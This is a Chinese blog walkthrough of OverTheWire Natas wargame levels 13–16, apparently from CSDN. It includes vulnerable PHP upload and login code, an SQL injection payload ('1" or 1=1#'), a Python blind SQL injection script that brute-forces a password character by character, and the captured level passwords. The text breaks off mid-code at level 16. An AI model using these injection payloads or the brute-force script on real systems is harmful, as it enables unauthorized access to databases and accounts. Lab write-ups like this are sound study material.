OverTheWire的natas游戏(13-20)

本文介绍了Natas系列练习中关于Web安全的几个关卡,涉及PHP SQL注入、命令注入及Session管理。通过利用payload绕过限制,获取密码。同时也探讨了如何防御此类攻击,包括输入验证、参数化查询和安全编码等实践。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

natas solution(13-20)

Natas Level 12 → Level 13

Username: natas13
URL:      http://natas13.natas.labs.overthewire.org

这一关和上一关非常相似,不同的在于

<?php
if(array_key_exists("filename", $_POST)) {
   
   
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
   
   
        if($err === 2){
   
   
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
   
   
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
   
   
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
   
   
        echo "File is not an image";
    } else {
   
   
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
   
   
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
   
   
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
   
   
?> 

多了一个检查函数exif_imagetype

读取一个图像的第一个字节并检查其签名。

所以在上一关payload的基础上,在开头添加jpg的签名即可,然后上传获得密码

Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 

Natas Level 13 → Level 14

Username: natas14
URL:      http://natas14.natas.labs.overthewire.org

这一关是一个简单的sql注入

<?
if(array_key_exists("username", $_REQUEST)) {
   
   
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
   
   
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
   
   
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
   
   
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
   
   
?>

根据源码的sql我们构造如下payload

Username Password
1" or 1=1# 1

这里需要注意的是--+不起效果,所以注释用的#

密码到手

Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Natas Level 14 → Level 15

Username: natas15
URL:      http://natas15.natas.labs.overthewire.org

这一关非常的耗时间,尽管是看wp不过得到了一些启发就是好的

进入界面后发现只是要你输入用户名,输入natas16告诉我们该用户存在,通过源码可以发现好像是没有手段能得出密码,像上一关那样

<?
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
   
   
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
   
   
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
   
   
    if(mysql_num_rows($res) > 0) {
   
   
        echo "This user exists.<br>";
    } else {
   
   
        echo "This user doesn't exist.<br>";
    }
    } else {
   
   
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
   
   }
?> 

没有能得到密码的回显,所以我的思路转移到了密码枚举因为输入000" or 1=1#得到的回显是This user exists.这里参考了别人的wp但是根据自身的情况修改了,但是怎么说呢,总是有点奇奇怪怪的问题,不太敢保证在真实情况下能保持自信“我是对的”

在脚本之前,我们需要学习一个mysqlLIKE关键字(没有什么是比官方文档更好的了😀)

import requests
import time

url='http://natas15.natas.labs.overthewire.org/'
passchar='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXVZ1234567890'
bstr='This user exist'.encode('utf-8')
password=''
headers = {
   
   
    'Authorization': 'xxxxx',
    'Cookie': 'xxxxxxx',
}

print('go')
for i in range(32):
    print(i)
    for j in passchar:
        time.sleep(1)
        try:
            poc = url+'?username=natas16%22+AND+password+LIKE+BINARY+%27' + password + j + "%25%27%23"
            print(poc)
            req = requests.get(poc,headers=headers)
            req.encoding = req.apparent_encoding
        except:
            print("获取失败")
            req.close()
        if req.content.find(bstr) != -1:
            password += j
            print('Password: ' + password)
            break
req.close()

之所以设置了time.sleep(1)是因为一开始经常跑着跑着就停下来了,猜测是因为请求速度过快?但是后来即使不间隔1s也能跑,我反正是不懂为啥了。

跑完后的密码是

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Natas Level 15 → Level 16

Username: natas16
URL:      http://natas16.natas.labs.overthewire.org

这一关和上一关做法非常的相似,但是题目却和之前的第10关很像,来看看源码吧。

Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
   
   
    $key = $_REQUEST["needle"];
}

if($key != "") {
   
   
    if(preg_match('/[;|&`\'"]/',$key)) {
   
   
        print "Input contains an illegal character!";
    } else {
   
   
        
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值